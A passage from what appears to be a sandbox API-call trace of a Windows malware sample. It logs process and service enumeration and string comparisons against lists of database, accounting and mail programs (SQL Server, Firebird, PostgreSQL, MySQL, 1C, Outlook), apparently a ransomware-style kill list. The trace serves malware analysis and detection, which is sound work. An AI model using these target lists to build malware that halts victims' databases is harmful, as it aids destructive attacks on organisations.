cntThreads=0x1, th32ParentProcessID=0x7ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0052.312] lstrlenW (lpString="cmd.exe") returned 7 [0052.312] Process32NextW (in: hSnapshot=0x178, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0052.312] lstrlenW (lpString="conhost.exe") returned 11 [0052.312] Process32NextW (in: hSnapshot=0x178, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x578, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x714, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0052.312] lstrlenW (lpString="vssadmin.exe") returned 12 [0052.313] Process32NextW (in: hSnapshot=0x178, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0052.313] lstrlenW (lpString="VSSVC.exe") returned 9 [0052.313] Process32NextW (in: hSnapshot=0x178, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0052.313] lstrlenW (lpString="svchost.exe") returned 11 [0052.313] Process32NextW (in: hSnapshot=0x178, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0052.314] CloseHandle (hObject=0x178) returned 1 [0052.314] Sleep (dwMilliseconds=0x1f4) [0053.355] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x8fff00 [0053.355] EnumServicesStatusExW (in: hSCManager=0x8fff00, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x1e7ff44, lpServicesReturned=0x1e7ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x1e7ff44, lpServicesReturned=0x1e7ff5c, lpResumeHandle=0x0) returned 0 [0053.356] GetLastError () returned 0xea [0053.356] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x12c6) returned 0x974238 [0053.356] EnumServicesStatusExW (in: hSCManager=0x8fff00, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x974238, cbBufSize=0x12c6, pcbBytesNeeded=0x1e7ff44, lpServicesReturned=0x1e7ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x974238, pcbBytesNeeded=0x1e7ff44, lpServicesReturned=0x1e7ff5c, lpResumeHandle=0x0) returned 1 [0053.356] CloseServiceHandle (hSCObject=0x8fff00) returned 1 [0053.357] lstrlenW (lpString="Appinfo") returned 7 [0053.357] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0053.357] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0053.357] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0053.357] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0053.357] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0053.357] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0053.357] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0053.357] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0053.357] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0053.357] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0053.357] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0053.357] lstrlenW (lpString="AudioSrv") returned 8 [0053.357] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0053.357] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0053.357] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0053.357] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0053.357] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0053.357] lstrlenW (lpString="BFE") returned 3 [0053.357] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0053.357] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0053.357] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0053.357] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0053.357] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0053.357] lstrlenW (lpString="CryptSvc") returned 8 [0053.357] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0053.357] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0053.357] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0053.357] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0053.357] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0053.357] lstrlenW (lpString="CscService") returned 10 [0053.357] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0053.357] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0053.357] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0053.357] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0053.357] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0053.357] lstrlenW (lpString="DcomLaunch") returned 10 [0053.357] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0053.357] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0053.357] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0053.357] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0053.357] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0053.357] lstrlenW (lpString="Dhcp") returned 4 [0053.357] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0053.357] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0053.358] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0053.358] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0053.358] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0053.358] lstrlenW (lpString="Dnscache") returned 8 [0053.358] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0053.358] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0053.358] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0053.358] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0053.358] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0053.358] lstrlenW (lpString="DPS") returned 3 [0053.358] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0053.358] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0053.358] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0053.358] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0053.358] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0053.358] lstrlenW (lpString="eventlog") returned 8 [0053.358] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0053.358] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0053.358] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0053.358] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0053.358] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0053.358] lstrlenW (lpString="EventSystem") returned 11 [0053.358] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0053.358] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0053.358] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0053.358] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0053.358] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0053.358] lstrlenW (lpString="gpsvc") returned 5 [0053.358] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0053.358] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0053.358] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0053.358] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0053.358] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0053.358] lstrlenW (lpString="iphlpsvc") returned 8 [0053.358] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0053.358] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0053.358] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0053.358] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0053.358] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0053.358] lstrlenW (lpString="LanmanServer") returned 12 [0053.358] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0053.358] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0053.358] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0053.359] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0053.359] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0053.359] lstrlenW (lpString="LanmanWorkstation") returned 17 [0053.359] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0053.359] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0053.359] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0053.359] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0053.359] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0053.359] lstrlenW (lpString="lmhosts") returned 7 [0053.359] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0053.359] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0053.359] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0053.359] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0053.359] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0053.359] lstrlenW (lpString="MMCSS") returned 5 [0053.359] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0053.359] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0053.359] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0053.359] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0053.359] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0053.359] lstrlenW (lpString="MpsSvc") returned 6 [0053.359] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0053.359] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0053.359] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0053.359] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0053.359] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0053.359] lstrlenW (lpString="Netman") returned 6 [0053.359] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0053.359] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0053.359] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0053.359] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0053.359] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0053.359] lstrlenW (lpString="netprofm") returned 8 [0053.359] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0053.359] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0053.359] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0053.359] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0053.359] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0053.359] lstrlenW (lpString="NlaSvc") returned 6 [0053.359] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0053.359] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0053.359] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0053.360] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0053.360] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0053.360] lstrlenW (lpString="nsi") returned 3 [0053.360] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0053.360] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0053.360] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0053.360] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0053.360] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0053.360] lstrlenW (lpString="PcaSvc") returned 6 [0053.360] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0053.360] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0053.360] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0053.360] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0053.360] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0053.360] lstrlenW (lpString="PlugPlay") returned 8 [0053.360] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0053.360] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0053.360] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0053.360] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0053.360] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0053.360] lstrlenW (lpString="Power") returned 5 [0053.360] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0053.360] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0053.360] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0053.360] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0053.360] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0053.360] lstrlenW (lpString="ProfSvc") returned 7 [0053.360] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0053.360] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0053.360] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0053.360] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0053.360] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0053.360] lstrlenW (lpString="RpcEptMapper") returned 12 [0053.360] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0053.360] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0053.360] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0053.360] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0053.360] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0053.360] lstrlenW (lpString="RpcSs") returned 5 [0053.360] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0053.360] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0053.360] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0053.360] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0053.360] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0053.360] lstrlenW (lpString="SamSs") returned 5 [0053.360] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0053.360] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0053.360] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0053.360] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0053.360] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0053.360] lstrlenW (lpString="Schedule") returned 8 [0053.360] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0053.360] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0053.360] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0053.360] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0053.361] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0053.361] lstrlenW (lpString="SENS") returned 4 [0053.361] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0053.361] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0053.361] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0053.361] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0053.361] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0053.361] lstrlenW (lpString="ShellHWDetection") returned 16 [0053.361] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0053.361] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0053.361] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0053.361] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0053.361] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0053.361] lstrlenW (lpString="Spooler") returned 7 [0053.361] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0053.361] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0053.361] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0053.361] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0053.361] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0053.361] lstrlenW (lpString="swprv") returned 5 [0053.361] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0053.361] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0053.361] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0053.361] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0053.361] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0053.361] lstrlenW (lpString="SysMain") returned 7 [0053.361] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0053.361] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0053.361] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0053.361] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0053.361] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0053.361] lstrlenW (lpString="Themes") returned 6 [0053.361] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0053.361] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0053.361] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0053.361] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0053.361] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0053.361] lstrlenW (lpString="TrkWks") returned 6 [0053.361] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0053.361] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0053.361] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0053.361] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0053.361] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0053.361] lstrlenW (lpString="UxSms") returned 5 [0053.361] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0053.361] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0053.361] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0053.361] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0053.361] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0053.361] lstrlenW (lpString="VSS") returned 3 [0053.361] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0053.361] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0053.361] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0053.361] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0053.361] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0053.362] lstrlenW (lpString="WdiServiceHost") returned 14 [0053.362] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0053.362] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0053.362] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0053.362] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0053.362] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0053.362] lstrlenW (lpString="WdiSystemHost") returned 13 [0053.362] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0053.362] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0053.362] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0053.362] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0053.362] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0053.362] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0053.362] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0053.362] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0053.362] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0053.362] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0053.362] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0053.362] lstrlenW (lpString="Winmgmt") returned 7 [0053.362] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0053.362] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0053.362] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0053.362] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0053.362] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0053.362] lstrlenW (lpString="WPDBusEnum") returned 10 [0053.362] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0053.362] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0053.362] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0053.362] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0053.362] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0053.362] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x974238 | out: hHeap=0x880000) returned 1 [0053.362] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x210 [0053.365] Process32FirstW (in: hSnapshot=0x210, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0053.365] Process32NextW (in: hSnapshot=0x210, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0053.365] lstrlenW (lpString="System") returned 6 [0053.365] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0053.365] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0053.365] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0053.365] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0053.365] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0053.365] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0053.365] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0053.365] Process32NextW (in: hSnapshot=0x210, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0053.366] lstrlenW (lpString="smss.exe") returned 8 [0053.366] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0053.366] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0053.366] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0053.366] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0053.366] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0053.366] lstrcmpiW 